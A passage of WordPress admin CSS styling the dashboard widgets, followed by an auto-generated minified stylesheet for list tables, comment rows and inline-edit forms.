	padding: 0;
}

#dashboard_primary .widget-loading {
	padding: 12px 12px 0;
	margin-bottom: 1em !important; /* Needs to override `.postbox .inside > p:last-child` in common.css */
}

/* Notice when JS is off. */
#dashboard_primary .inside .notice {
	margin: 0;
}

body #dashboard-widgets .postbox form .submit {
	margin: 0;
}

/* Used only for configurable widgets. */
.dashboard-widget-control-form p {
	margin-top: 0;
}

.rssSummary {
	color: #646970;
	margin-top: 4px;
}

#dashboard_primary .rss-widget {
	font-size: 13px;
	padding: 0 12px;
}

#dashboard_primary .rss-widget:last-child {
	border-bottom: none;
	padding-bottom: 8px;
}

#dashboard_primary .rss-widget a {
	font-weight: 400;
}

#dashboard_primary .rss-widget span,
#dashboard_primary .rss-widget span.rss-date {
	color: #646970;
}

#dashboard_primary .rss-widget span.rss-date {
	margin-left: 12px;
}

#dashboard_primary .rss-widget ul li {
	padding: 4px 0;
	margin: 0;
}

/* Dashboard right now */

#dashboard_right_now ul {
	margin: 0;
	/* contain floats but don't use overflow: hidden */
	display: inline-block;
	width: 100%;
}

#dashboard_right_now li {
	width: 50%;
	float: left;
	margin-bottom: 10px;
}

#dashboard_right_now .inside {
	padding: 0;
}

#dashboard_right_now .main {
	padding: 0 12px 11px;
}

#dashboard_right_now .main p {
	margin: 0;
}

#dashboard_right_now #wp-version-message .button {
	float: right;
	position: relative;
	top: -5px;
	margin-left: 5px;
}

#dashboard_right_now p.search-engines-info {
	margin: 1em 0;
}

.mu-storage {
	overflow: hidden;
}

#dashboard-widgets h3.mu-storage {
	margin: 0 0 10px;
	padding: 0;
	font-size: 14px;
	font-weight: 400;
}

/* Dashboard right now - Colors */

#dashboard_right_now .sub {
	color: #50575e;
	background: #f6f7f7;
	border-top: 1px solid #f0f0f1;
	padding: 10px 12px 6px;
}

#dashboard_right_now .sub h3 {
	color: #50575e;
}

#dashboard_right_now .sub p {
	margin: 0 0 1em;
}

#dashboard_right_now .warning a:before,
#dashboard_right_now .warning span:before {
	color: #d63638;
}

/* Dashboard Quick Draft */

#dashboard_quick_press .inside {
	margin: 0;
	padding: 0;
}

#dashboard_quick_press div.updated {
	margin-bottom: 10px;
	border: 1px solid #f0f0f1;
	border-width: 1px 1px 1px 0;
}

#dashboard_quick_press form {
	margin: 12px;
}

#dashboard_quick_press .drafts {
	padding: 10px 0 0;
}

/* Dashboard Quick Draft - Form styling */

#dashboard_quick_press label {
	display: inline-block;
	margin-bottom: 4px;
}

#dashboard_quick_press input,
#dashboard_quick_press textarea {
	box-sizing: border-box;
	margin: 0;
}

#dashboard-widgets .postbox form .submit {
	margin: -39px 0;
	float: right;
}

#description-wrap {
	margin-top: 12px;
}

#quick-press textarea#content {
	min-height: 90px;
	max-height: 1300px;
	margin: 0 0 8px;
	padding: 6px 7px;
	resize: none;
}

/* Dashboard Quick Draft - Drafts list */

.js #dashboard_quick_press .drafts {
	border-top: 1px solid #f0f0f1;
}

#dashboard_quick_press .drafts abbr {
	border: none;
}

#dashboard_quick_press .drafts .view-all {
	float: right;
	margin: 0 12px 0 0;
}

#dashboard_primary a.rsswidget {
	font-weight: 400;
}

#dashboard_quick_press .drafts ul {
	margin: 0 12px;
}

#dashboard_quick_press .drafts li {
	margin-bottom: 1em;
}
#dashboard_quick_press .drafts li time {
	color: #646970;
}

#dashboard_quick_press .drafts p {
	margin: 0;
	word-wrap: break-word;
}

#dashboard_quick_press .draft-title {
	word-wrap: break-word;
}

#dashboard_quick_press .draft-title a,
#dashboard_quick_press .draft-title time {
	margin: 0 5px 0 0;
}

/* Dashboard common styles */

#dashboard-widgets h4, /* Back-compat for pre-4.4 */
#dashboard-widgets h3,
#dashboard_quick_press .drafts h2 {
	margin: 0 12px 8px;
	padding: 0;
	font-size: 14px;
	font-weight: 400;
	color: #1d2327;
}

#dashboard_quick_press .drafts h2 {
	line-height: inherit;
}

#dashboard-widgets .inside h4, /* Back-compat for pre-4.4 */
#dashboard-widgets .inside h3 {
	margin-left: 0;
	margin-right: 0;
}

/* Dashboard activity widget */

#dashboard_activity .comment-meta span.approve:before {
	content: "\f227";
	font: 20px/.5 dashicons;
	margin-left: 5px;
	vertical-align: middle;
	position: relative;
	top: -1px;
	margin-right: 2px;
}

#dashboard_activity .inside {
	margin: 0;
	padding-bottom: 0;
}

#dashboard_activity .no-activity {
	overflow: hidden;
	padding: 12px 0;
	text-align: center;
}

#dashboard_activity .no-activity p {
	color: #646970;
	font-size: 16px;
}

#dashboard_activity .subsubsub {
	float: none;
	border-top: 1px solid #f0f0f1;
	margin: 0 -12px;
	padding: 8px 12px 4px;
}

#dashboard_activity .subsubsub a .count,
#dashboard_activity .subsubsub a.current .count {
	color: #646970; /* white background on the dashboard but #f0f0f1 on list tables */
}

#future-posts ul,
#published-posts ul {
	margin: 8px -12px 0 -12px;
}

#future-posts li,
#published-posts li {
	display: grid;
	grid-template-columns: clamp(160px, calc(2vw + 140px), 200px) auto;
	column-gap: 10px;
	color: #646970;
	padding: 4px 12px;
}

#future-posts li:nth-child(odd),
#published-posts li:nth-child(odd) {
	background-color: #f6f7f7;
}

.activity-block {
	border-bottom: 1px solid #f0f0f1;
	margin: 0 -12px 6px -12px;
	padding: 8px 12px 4px;
}

.activity-block:last-child {
	border-bottom: none;
	margin-bottom: 0;
}

.activity-block .subsubsub li {
	color: #dcdcde;
}

/* Dashboard activity widget - Comments */
/* @todo: needs serious de-duplication */

#activity-widget #the-comment-list tr.undo,
#activity-widget #the-comment-list div.undo {
	background: none;
	padding: 6px 0;
	margin-left: 12px;
}

#activity-widget #the-comment-list .comment-item {
	background: #f6f7f7;
	padding: 12px;
	position: relative;
}

#activity-widget #the-comment-list .avatar {
	position: absolute;
	top: 12px;
}

#activity-widget #the-comment-list .dashboard-comment-wrap.has-avatar {
	padding-left: 63px;
}

#activity-widget #the-comment-list .dashboard-comment-wrap blockquote {
	margin: 1em 0;
}

#activity-widget #the-comment-list .comment-item p.row-actions {
	margin: 4px 0 0;
}

#activity-widget #the-comment-list .comment-item:first-child {
	border-top: 1px solid #f0f0f1;
}

#activity-widget #the-comment-list .unapproved {
	background-color: #fcf9e8;
}

#activity-widget #the-comment-list .unapproved:before {
	content: "";
	display: block;
	position: absolute;
	left: 0;
	top: 0;
	bottom: 0;
	background: #d63638;
	width: 4px;
}

#activity-widget #the-comment-list .spam-undo-inside .avatar,
#activity-widget #the-comment-list .trash-undo-inside .avatar {
	position: relative;
	top: 0;
}

/* Browse happy box */

#dashboard-widgets #dashboard_browser_nag.postbox .inside {
	margin: 10px;
}

.postbox .button-link .edit-box {
	display: none;
}

.edit-box {
	opacity: 0;
}

.hndle:hover .edit-box,
.edit-box:focus {
	opacity: 1;
}

#dashboard-widgets form .input-text-wrap input {
	width: 100%;
}

#dashboard-widgets form .textarea-wrap textarea {
	width: 100%;
}

#dashboard-widgets .postbox form .submit {
	float: none;
	margin: .5em 0 0;
	padding: 0;
	border: none;
}

#dashboard-widgets-wrap #dashboard-widgets .postbox form .submit #publish {
	min-width: 0;
}

#dashboard-widgets li a,
#dashboard-widgets .button-link,
.community-events-footer a {
	text-decoration: none;
}

#dashboard-widgets h2 a {
	text-decoration: underline;
}

#dashboard-widgets .hndle .postbox-title-action {
	float: right;
	line-height: 1.2;
}

#dashboard_plugins h5 {
	font-size: 14px;
}

/* Recent Comments */

#latest-comments #the-comment-list {
	position: relative;
	margin: 0 -12px;
}

#activity-widget #the-comment-list .comment,
#activity-widget #the-comment-list .pingback {
	box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.06);
}

#activity-widget .comments #the-comment-list .alt {
	background-color: transparent;
}

#activity-widget #latest-comments #the-comment-list .comment-item {
	/* the row-actions paragraph is output only for users with 'edit_comment' capabilities,
	   for other users this needs a min height equal to the gravatar image */
	min-height: 50px;
	margin: 0;
	padding: 12px;
}

#latest-comments #the-comment-list .pingback {
	padding-left: 12px !important;
}

#latest-comments #the-comment-list .comment-item:first-child {
	border-top: none;
}

#latest-comments #the-comment-list .comment-meta {
	line-height: 1.5;
	margin: 0;
	color: #646970;
}

#latest-comments #the-comment-list .comment-meta cite {
	font-style: normal;
	font-weight: 400;
}

#latest-comments #the-comment-list .comment-item blockquote,
#latest-comments #the-comment-list .comment-item blockquote p {
	margin: 0;
	padding: 0;
	display: inline;
}

#latest-comments #the-comment-list .comment-item p.row-actions {
	margin: 3px 0 0;
	padding: 0;
	font-size: 13px;
}

/* Feeds */
.rss-widget ul {
	margin: 0;
	padding: 0;
	list-style: none;
}

a.rsswidget {
	font-size: 13px;
	font-weight: 600;
	line-height: 1.4;
}

.rss-widget ul li {
	line-height: 1.5;
	margin-bottom: 12px;
}

.rss-widget span.rss-date {
	color: #646970;
	font-size: 13px;
	margin-left: 3px;
}

.rss-widget cite {
	display: block;
	text-align: right;
	margin: 0 0 1em;
	padding: 0;
}

.rss-widget cite:before {
	content: "\2014";
}

.dashboard-comment-wrap {
	word-wrap: break-word;
}

/* Browser Nag */
#dashboard_browser_nag a.update-browser-link {
	font-size: 1.2em;
	font-weight: 600;
}

#dashboard_browser_nag a {
	text-decoration: underline;
}

#dashboard_browser_nag p.browser-update-nag.has-browser-icon {
	padding-right: 128px;
}

#dashboard_browser_nag .browser-icon {
	margin-top: -32px;
}

#dashboard_browser_nag.postbox {
	background-color: #b32d2e;
	background-image: none;
	border-color: #b32d2e;
	color: #fff;
	box-shadow: none;
}

#dashboard_browser_nag.postbox h2 {
	border-bottom-color: transparent;
	background: transparent none;
	color: #fff;
	box-shadow: none;
}

#dashboard_browser_nag a {
	color: #fff;
}

#dashboard_browser_nag.postbox .postbox-header {
	border-color: transparent;
}

#dashboard_browser_nag h2.hndle {
	border: none;
	font-weight: 600;
	font-size: 20px;
	padding-top: 10px;
}

.postbox#dashboard_browser_nag p a.dismiss {
	font-size: 14px;
}

.postbox#dashboard_browser_nag p,
.postbox#dashboard_browser_nag a,
.postbox#dashboard_browser_nag p.browser-update-nag {
	font-size: 16px;
}

/* PHP Nag */
#dashboard_php_nag .dashicons-warning {
	color: #dba617;
	padding-right: 6px;
}

#dashboard_php_nag.php-no-security-updates .dashicons-warning,
#dashboard_php_nag.php-version-lower-than-future-minimum .dashicons-warning {
	color: #d63638;
}

#dashboard_php_nag h2 {
	display: inline-block;
}

#dashboard_php_nag p {
	margin: 12px 0;
}

#dashboard_php_nag .button .dashicons-external {
	line-height: 25px;
}

.bigger-bolder-text {
	font-weight: 600;
	font-size: 14px;
}

/* =Media Queries
-------------------------------------------------------------- */

@media only screen and (min-width: 1600px) {
	.welcome-panel .welcome-panel-column-container {
		display: flex;
		justify-content: center;
	}

	.welcome-panel-column {
		width: 100%;
		max-width: 460px;
	}
}

/* one column on the dash */
@media only screen and (max-width: 799px) {
	#wpbody-content #dashboard-widgets .postbox-container {
		width: 100%;
	}

	#dashboard-widgets .meta-box-sortables {
		min-height: 0;
	}

	.is-dragging-metaboxes #dashboard-widgets .meta-box-sortables {
		min-height: 100px;
	}

	#dashboard-widgets .meta-box-sortables.empty-container {
		margin-bottom: 0;
	}
}

/* two columns on the dash, but keep the setting if one is selected */
@media only screen and (min-width: 800px) and (max-width: 1499px) {
	#wpbody-content #dashboard-widgets .postbox-container {
		width: 49.5%;
	}

	#wpbody-content #dashboard-widgets #postbox-container-2,
	#wpbody-content #dashboard-widgets #postbox-container-3,
	#wpbody-content #dashboard-widgets #postbox-container-4 {
		float: right;
		width: 50.5%;
	}

	#dashboard-widgets #postbox-container-3 .empty-container,
	#dashboard-widgets #postbox-container-4 .empty-container {
		outline: none;
		height: 0;
		min-height: 0;
		margin-bottom: 0;
	}

	#dashboard-widgets #postbox-container-3 .empty-container:after,
	#dashboard-widgets #postbox-container-4 .empty-container:after {
		display: none;
	}

	#wpbody #wpbody-content #dashboard-widgets.columns-1 .postbox-container {
		width: 100%;
	}

	#wpbody #dashboard-widgets .metabox-holder.columns-1 .postbox-container .empty-container {
		outline: none;
		height: 0;
		min-height: 0;
		margin-bottom: 0;
	}

	/* show the radio buttons for column prefs only for one or two columns */
	.index-php .screen-layout,
	.index-php .columns-prefs {
		display: block;
	}

	.columns-prefs .columns-prefs-3,
	.columns-prefs .columns-prefs-4 {
		display: none;
	}

	#dashboard-widgets .postbox-container .empty-container:after {
		display: block;
	}
}

/* three columns on the dash */
@media only screen and (min-width: 1500px) and (max-width: 1800px) {
	#wpbody-content #dashboard-widgets .postbox-container {
		width: 33.5%;
	}

	#wpbody-content #dashboard-widgets #postbox-container-1 {
		width: 33%;
	}

	#wpbody-content #dashboard-widgets #postbox-container-3,
	#wpbody-content #dashboard-widgets #postbox-container-4 {
		float: right;
	}

	#dashboard-widgets #postbox-container-4 .empty-container {
		outline: none;
		height: 0;
		min-height: 0;
		margin-bottom: 0;
	}

	#dashboard-widgets #postbox-container-4 .empty-container:after {
		display: none;
	}

	#dashboard-widgets .postbox-container .empty-container:after {
		display: block;
	}
}

/* Always show the "Drag boxes here" CSS generated content on large screens. */
@media only screen and (min-width: 1801px) {
	#dashboard-widgets .postbox-container .empty-container:after {
		display: block;
	}
}

@media screen and (max-width: 870px) {
	/* @deprecated 5.9.0 -- Lists removed from welcome panel. */
	.welcome-panel .welcome-panel-column li {
		display: inline-block;
		margin-right: 13px;
	}

	/* @deprecated 5.9.0 -- Lists removed from welcome panel. */
	.welcome-panel .welcome-panel-column ul {
		margin: 0.4em 0 0;
	}

}

@media screen and (max-width: 1180px) and (min-width: 783px) {
	.welcome-panel-column {
		grid-template-columns: 1fr;
	}

	[class*="welcome-panel-icon"],
	.welcome-panel-column > svg {
		display: none;
	}
}

@media screen and (max-width: 782px) {
	.welcome-panel .welcome-panel-column-container {
		grid-template-columns: 1fr;
		box-sizing: border-box;
		padding: 32px;
		width: 100%;
	}

	.welcome-panel .welcome-panel-column-content {
		max-width: 520px;
	}

	/* Keep the close icon from overlapping the Welcome text. */
	.welcome-panel .welcome-panel-close {
		overflow: hidden;
		text-indent: 40px;
		white-space: nowrap;
		width: 20px;
		height: 20px;
		padding: 5px;
		top: 5px;
		right: 5px;
	}

	.welcome-panel .welcome-panel-close::before {
		top: 5px;
		left: -35px;
	}

	#dashboard-widgets h2 {
		padding: 12px;
	}

	#dashboard_recent_comments #the-comment-list .comment-item .avatar {
		height: 30px;
		width: 30px;
		margin: 4px 10px 5px 0;
	}

	.community-events-toggle-location {
		height: 38px;
		vertical-align: baseline;
	}

	.community-events-form .regular-text {
		height: 32px;
	}

	#community-events-submit {
		margin-bottom: 0;
		/* Override .wp-core-ui .button */
		vertical-align: top;
	}

	.community-events-form label,
	#dashboard-widgets .community-events-cancel.button-link {
		/* Same properties as the submit button for cross-browsers alignment. */
		font-size: 14px;
		line-height: normal;
		height: auto;
		padding: 6px 0;
		border: 1px solid transparent;
	}

	.community-events .spinner {
		margin-top: 7px;
	}
}

/* Smartphone */
@media screen and (max-width: 600px) {
	.welcome-panel-header {
		padding: 32px 32px 64px;
	}

	.welcome-panel-header-image {
		display: none;
	}
}

@media screen and (max-width: 480px) {
	.welcome-panel-column {
		gap: 16px;
	}
}

@media screen and (max-width: 360px) {
	.welcome-panel-column {
		grid-template-columns: 1fr;
	}

	[class*="welcome-panel-icon"],
	.welcome-panel-column > svg {
		display: none;
	}
}

@media screen and (min-width: 355px) {
	.community-events .event-info {
		display: table-row;
		float: left;
		max-width: 59%;
	}

	.event-icon,
	.event-icon[aria-hidden="true"] {
		display: table-cell;
	}

	.event-info-inner {
		display: table-cell;
	}

	.community-events .event-date-time {
		float: right;
		max-width: 39%;
	}

	.community-events .event-date,
	.community-events .event-time {
		text-align: right;
	}
}
/*! This file is auto-generated */
.response-links{display:block;margin-bottom:1em}.response-links a{display:block}.response-links a.comments-edit-item-link{font-weight:600}.response-links a.comments-view-item-link{font-size:12px}.post-com-count-wrapper strong{font-weight:400}.comments-view-item-link{display:inline-block;clear:both}.column-comments .post-com-count-wrapper,.column-response .post-com-count-wrapper{white-space:nowrap;word-wrap:normal}.column-comments .post-com-count,.column-response .post-com-count{display:inline-block;vertical-align:top}.column-comments .post-com-count-approved,.column-comments .post-com-count-no-comments,.column-response .post-com-count-approved,.column-response .post-com-count-no-comments{margin-top:5px}.column-comments .comment-count-approved,.column-comments .comment-count-no-comments,.column-response .comment-count-approved,.column-response .comment-count-no-comments{box-sizing:border-box;display:block;padding:0 8px;min-width:24px;height:2em;border-radius:5px;background-color:#646970;color:#fff;font-size:11px;line-height:1.90909090;text-align:center}.column-comments .post-com-count-approved:after,.column-comments .post-com-count-no-comments:after,.column-response .post-com-count-approved:after,.column-response .post-com-count-no-comments:after{content:"";display:block;margin-right:8px;width:0;height:0;border-top:5px solid #646970;border-left:5px solid transparent}.column-comments a.post-com-count-approved:focus .comment-count-approved,.column-comments a.post-com-count-approved:hover .comment-count-approved,.column-response a.post-com-count-approved:focus .comment-count-approved,.column-response a.post-com-count-approved:hover .comment-count-approved{background:#2271b1}.column-comments a.post-com-count-approved:focus:after,.column-comments a.post-com-count-approved:hover:after,.column-response a.post-com-count-approved:focus:after,.column-response a.post-com-count-approved:hover:after{border-top-color:#2271b1}.column-comments .post-com-count-pending,.column-response .post-com-count-pending{position:relative;right:-3px;padding:0 5px;min-width:7px;height:17px;border:2px solid #fff;border-radius:11px;background:#d63638;color:#fff;font-size:9px;line-height:1.88888888;text-align:center}.column-comments .post-com-count-no-pending,.column-response .post-com-count-no-pending{display:none}.commentlist li{padding:1em 1em .2em;margin:0;border-bottom:1px solid #c3c4c7}.commentlist li li{border-bottom:0;padding:0}.commentlist p{padding:0;margin:0 0 .8em}#submitted-on,.submitted-on{color:#50575e}#replyrow td{padding:2px}#replysubmit{margin:0;padding:5px 7px 10px;overflow:hidden}#replysubmit .reply-submit-buttons{margin-bottom:0}#replysubmit .button{margin-left:5px}#replysubmit .spinner{float:none;margin:-4px 0 0}#replyrow.inline-edit-row fieldset.comment-reply{font-size:inherit;line-height:inherit}#replyrow legend{margin:0;padding:.2em 5px 0;font-size:13px;line-height:1.4;font-weight:600}#replyrow.inline-edit-row label{display:inline;vertical-align:baseline;line-height:inherit}#commentsdiv #edithead .inside,#edithead .inside{float:right;padding:3px 5px 2px 0;margin:0;text-align:center}#edithead .inside input{width:180px}#edithead label{padding:2px 0}#replycontainer{padding:5px}#replycontent{height:120px;box-shadow:none}#replyerror{border-color:#dcdcde;background-color:#f6f7f7}.commentlist .avatar{vertical-align:text-top}#the-comment-list div.undo,#the-comment-list tr.undo{background-color:#f6f7f7}#the-comment-list .unapproved td,#the-comment-list .unapproved th{background-color:#fcf9e8}#the-comment-list .unapproved th.check-column{border-right:4px solid #d63638}#the-comment-list .unapproved th.check-column input{margin-right:4px}#the-comment-list .approve a{color:#007017}#the-comment-list .unapprove a{color:#996800}#the-comment-list td,#the-comment-list th{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}#the-comment-list tr:last-child td,#the-comment-list tr:last-child th{box-shadow:none}#the-comment-list tr.unapproved+tr.approved td,#the-comment-list tr.unapproved+tr.approved th{border-top:1px solid rgba(0,0,0,.03)}.vim-current,.vim-current td,.vim-current th{background-color:#f0f6fc!important}th .comment-grey-bubble{width:16px;position:relative;top:2px}th .comment-grey-bubble:before{content:"\f101";font:normal 20px/.5 dashicons;speak:never;display:inline-block;padding:0;top:4px;right:-4px;position:relative;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;color:#3c434a}table.fixed{table-layout:fixed}.fixed .column-rating,.fixed .column-visible{width:8%}.fixed .column-author,.fixed .column-format,.fixed .column-links,.fixed .column-parent,.fixed .column-posts{width:10%}.fixed .column-date{width:14%}.column-date span[title]{-webkit-text-decoration:dotted underline;text-decoration:dotted underline}.fixed .column-posts{width:74px}.fixed .column-posts,.fixed .column-role{-webkit-hyphens:auto;hyphens:auto}.fixed .column-comment .comment-author{display:none}.fixed .column-categories,.fixed .column-rel,.fixed .column-response,.fixed .column-role,.fixed .column-tags{width:15%}.fixed .column-slug{width:25%}.fixed .column-locations{width:35%}.fixed .column-comments{width:5.5em;text-align:right}.fixed .column-comments .vers{padding-right:3px}td.column-title strong,td.plugin-title strong{display:block;margin-bottom:.2em;font-size:14px}td.column-title p,td.plugin-title p{margin:6px 0}table.media .column-title .media-icon{float:right;min-height:60px;margin:0 0 0 9px}table.media .column-title .media-icon img{max-width:60px;height:auto;vertical-align:top}table.media .column-title .has-media-icon~.row-actions{margin-right:70px}table.media .column-title .filename{margin-bottom:.2em}.media .row-actions .copy-to-clipboard-container{display:inline;position:relative}.media .row-actions .copy-to-clipboard-container .success{position:absolute;right:50%;transform:translate(50%,-100%);background:#000;color:#fff;border-radius:5px;margin:0;padding:2px 5px}.wp-list-table a{transition:none}#the-list tr:last-child td,#the-list tr:last-child th{border-bottom:none!important;box-shadow:none}#comments-form .fixed .column-author{width:20%}#commentsdiv.postbox .inside{margin:0;padding:0}#commentsdiv .inside .row-actions{line-height:1.38461538}#commentsdiv .inside .column-author{width:25%}#commentsdiv .column-comment p{margin:.6em 0;padding:0}#commentsdiv #replyrow td{padding:0}#commentsdiv p{padding:8px 10px;margin:0}#commentsdiv .comments-box{border:0 none}#commentsdiv .comments-box thead td,#commentsdiv .comments-box thead th{background:0 0;padding:0 7px 4px}#commentsdiv .comments-box tr:last-child td{border-bottom:0 none}#commentsdiv #edithead .inside input{width:160px}.sorting-indicators{display:grid}.sorting-indicator{display:block;width:10px;height:4px;margin-top:4px;margin-right:7px}.sorting-indicator:before{font:normal 20px/1 dashicons;speak:never;display:inline-block;padding:0;top:-4px;right:-8px;line-height:.5;position:relative;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;color:#a7aaad}.sorting-indicator.asc:before{content:"\f142"}.sorting-indicator.desc:before{content:"\f140"}th.sorted.desc .sorting-indicator.desc:before{color:#1d2327}th.sorted.asc .sorting-indicator.asc:before{color:#1d2327}th.sorted.asc a:focus .sorting-indicator.asc:before,th.sorted.asc:hover .sorting-indicator.asc:before,th.sorted.desc a:focus .sorting-indicator.desc:before,th.sorted.desc:hover .sorting-indicator.desc:before{color:#a7aaad}th.sorted.asc a:focus .sorting-indicator.desc:before,th.sorted.asc:hover .sorting-indicator.desc:before,th.sorted.desc a:focus .sorting-indicator.asc:before,th.sorted.desc:hover .sorting-indicator.asc:before{color:#1d2327}.wp-list-table .toggle-row{position:absolute;left:8px;top:10px;display:none;padding:0;width:40px;height:40px;border:none;outline:0;background:0 0}.wp-list-table .toggle-row:hover{cursor:pointer}.wp-list-table .toggle-row:focus:before{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.wp-list-table .toggle-row:active{box-shadow:none}.wp-list-table .toggle-row:before{position:absolute;top:-5px;right:10px;border-radius:50%;display:block;padding:1px 0 1px 2px;color:#3c434a;content:"\f140";font:normal 20px/1 dashicons;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;speak:never}.wp-list-table .is-expanded .toggle-row:before{content:"\f142"}.check-column{position:relative}.check-column label{box-sizing:border-box;width:100%;height:100%;display:block;position:absolute;top:0;right:0}.check-column input{position:relative;z-index:1}.check-column .label-covers-full-cell:hover+input:not(:disabled){box-shadow:0 0 0 1px #2271b1}.check-column input:hover+label,.check-column label:hover{background:rgba(0,0,0,.05)}.locked-indicator{display:none;margin-right:6px;height:20px;width:16px}.locked-indicator-icon:before{color:#8c8f94;content:"\f160";display:inline-block;font:normal 20px/1 dashicons;speak:never;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.locked-info{display:none;margin-top:4px}.locked-text{vertical-align:top}.wp-locked .locked-indicator,.wp-locked .locked-info{display:block}tr.wp-locked .check-column input[type=checkbox],tr.wp-locked .check-column label,tr.wp-locked .row-actions .inline,tr.wp-locked .row-actions .trash{display:none}#menu-locations-wrap .widefat{width:60%}.widefat th.sortable,.widefat th.sorted{padding:0}th.sortable a,th.sorted a{display:block;overflow:hidden;padding:8px}th.sortable a:focus,th.sorted a:focus{box-shadow:inset 0 0 0 2px #2271b1;outline:2px solid transparent}th.sortable a span,th.sorted a span{float:right;cursor:pointer}.tablenav-pages .current-page{margin:0 0 0 2px;font-size:13px;text-align:center}.tablenav .total-pages{margin-left:2px}.tablenav #table-paging{margin-right:2px}.tablenav{clear:both;height:30px;margin:6px 0 4px;padding-top:5px;vertical-align:middle}.tablenav.themes{max-width:98%}.tablenav .tablenav-pages{float:left;margin:0 0 9px}.tablenav .no-pages,.tablenav .one-page .pagination-links{display:none}.tablenav .tablenav-pages .button,.tablenav .tablenav-pages .tablenav-pages-navspan{display:inline-block;vertical-align:baseline;min-width:30px;min-height:30px;margin:0;padding:0 4px;font-size:16px;line-height:1.625;text-align:center}.tablenav .displaying-num{margin-left:7px}.tablenav .one-page .displaying-num{display:inline-block;margin:5px 0}.tablenav .actions{padding:0 0 0 8px}.wp-filter .actions{display:inline-block;vertical-align:middle}.tablenav .delete{margin-left:20px}.tablenav .view-switch{float:left;margin:0 5px;padding-top:3px}.wp-filter .view-switch{display:inline-block;vertical-align:middle;padding:12px 0;margin:0 2px 0 8px}.media-toolbar.wp-filter .view-switch{margin:0 2px 0 12px}.view-switch a{float:right;width:28px;height:28px;text-align:center;line-height:1.84615384;text-decoration:none}.view-switch a:before{color:#c3c4c7;display:inline-block;font:normal 20px/1 dashicons;speak:never;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.view-switch a:focus:before,.view-switch a:hover:before{color:#787c82}.view-switch a.current:before{color:#2271b1}.view-switch .view-list:before{content:"\f163"}.view-switch .view-excerpt:before{content:"\f164"}.view-switch .view-grid:before{content:"\f509"}.filter{float:right;margin:-5px 10px 0 0}.filter .subsubsub{margin-right:-10px;margin-top:13px}.screen-per-page{width:4em}#posts-filter .wp-filter{margin-bottom:0}#posts-filter fieldset{float:right;margin:0 0 1em 1.5ex;padding:0}#posts-filter fieldset legend{padding:0 1px .2em 0}p.pagenav{margin:0;display:inline}.pagenav span{font-weight:600;margin:0 6px}.row-title{font-size:14px!important;font-weight:600}.column-comment .comment-author{margin-bottom:.6em}.column-author img,.column-comment .comment-author img,.column-username img{float:right;margin-left:10px;margin-top:1px}.row-actions{color:#a7aaad;font-size:13px;padding:2px 0 0;position:relative;right:-9999em}.rtl .row-actions a{display:inline-block}.row-actions .network_active,.row-actions .network_only{color:#000}.comment-item:hover .row-actions,.mobile .row-actions,.no-js .row-actions,.row-actions.visible,tr:hover .row-actions{position:static}.row-actions-visible{padding:2px 0 0}#wpbody-content .inline-edit-row fieldset{float:right;margin:0;padding:0 0 0 12px;width:100%;box-sizing:border-box}#wpbody-content .inline-edit-row td fieldset:last-of-type{padding-left:0}tr.inline-edit-row td{padding:0;position:relative}.inline-edit-wrapper{display:flow-root;padding:0 12px;border:1px solid transparent;border-radius:4px}.inline-edit-wrapper:focus{border-color:#2271b1;box-shadow:0 0 0 1px #2271b1;outline:2px solid transparent}#wpbody-content .quick-edit-row-post .inline-edit-col-left{width:40%}#wpbody-content .quick-edit-row-post .inline-edit-col-right{width:39%}#wpbody-content .inline-edit-row-post .inline-edit-col-center{width:20%}#wpbody-content .quick-edit-row-page .inline-edit-col-left{width:50%}#wpbody-content .bulk-edit-row-post .inline-edit-col-right,#wpbody-content .quick-edit-row-page .inline-edit-col-right{width:50%}#wpbody-content .bulk-edit-row .inline-edit-col-left{width:30%}#wpbody-content .bulk-edit-row-page .inline-edit-col-right{width:69%}#wpbody-content .bulk-edit-row .inline-edit-col-bottom{float:left;width:69%}#wpbody-content .inline-edit-row-page .inline-edit-col-right{margin-top:27px}.inline-edit-row fieldset .inline-edit-group{clear:both;line-height:2.5}.inline-edit-row .submit{display:flex;flex-wrap:wrap;align-items:center;clear:both;margin:0;padding:.5em 0 1em}.inline-edit-save.submit .button{margin-left:8px}.inline-edit-save .spinner{float:none;margin:0}.inline-edit-row .notice-error{box-sizing:border-box;min-width:100%;margin-top:1em}.inline-edit-row .notice-error .error{margin:.5em 0;padding:2px}#the-list .inline-edit-row .inline-edit-legend{margin:0;padding:.2em 0;line-height:2.5;font-weight:600}.inline-edit-row fieldset span.checkbox-title,.inline-edit-row fieldset span.title{margin:0;padding:0}.inline-edit-row fieldset label,.inline-edit-row fieldset span.inline-edit-categories-label{display:block;margin:.2em 0;line-height:2.5}.inline-edit-row fieldset.inline-edit-date label{display:inline-block;margin:0;vertical-align:baseline;line-height:2}.inline-edit-row fieldset label.inline-edit-tags{margin-top:0}.inline-edit-row fieldset label.inline-edit-tags span.title{margin:.2em 0;width:auto}.inline-edit-row fieldset label span.title,.inline-edit-row fieldset.inline-edit-date legend{display:block;float:right;width:6em;line-height:2.5}#posts-filter fieldset.inline-edit-date legend{padding:0}.inline-edit-row fieldset .timestamp-wrap,.inline-edit-row fieldset label span.input-text-wrap{display:block;margin-right:6em}.quick-edit-row-post fieldset.inline-edit-col-right label span.title{width:auto;padding-left:.5em}.inline-edit-row .inline-edit-or{margin:.2em 0 .2em 6px;line-height:2.5}.inline-edit-row .input-text-wrap input[type=text]{width:100%}.inline-edit-row fieldset label input[type=checkbox]{vertical-align:middle}.inline-edit-row fieldset label textarea{width:100%;height:4em;vertical-align:top}#wpbody-content .bulk-edit-row fieldset .inline-edit-group label{max-width:50%}#wpbody-content .quick-edit-row fieldset .inline-edit-group label.alignleft:first-child{margin-left:.5em}.inline-edit-col-right .input-text-wrap input.inline-edit-menu-order-input{width:6em}.inline-edit-row .inline-edit-legend{text-transform:uppercase}.inline-edit-row fieldset .inline-edit-date{float:right}.inline-edit-row fieldset input[name=aa],.inline-edit-row fieldset input[name=hh],.inline-edit-row fieldset input[name=jj],.inline-edit-row fieldset 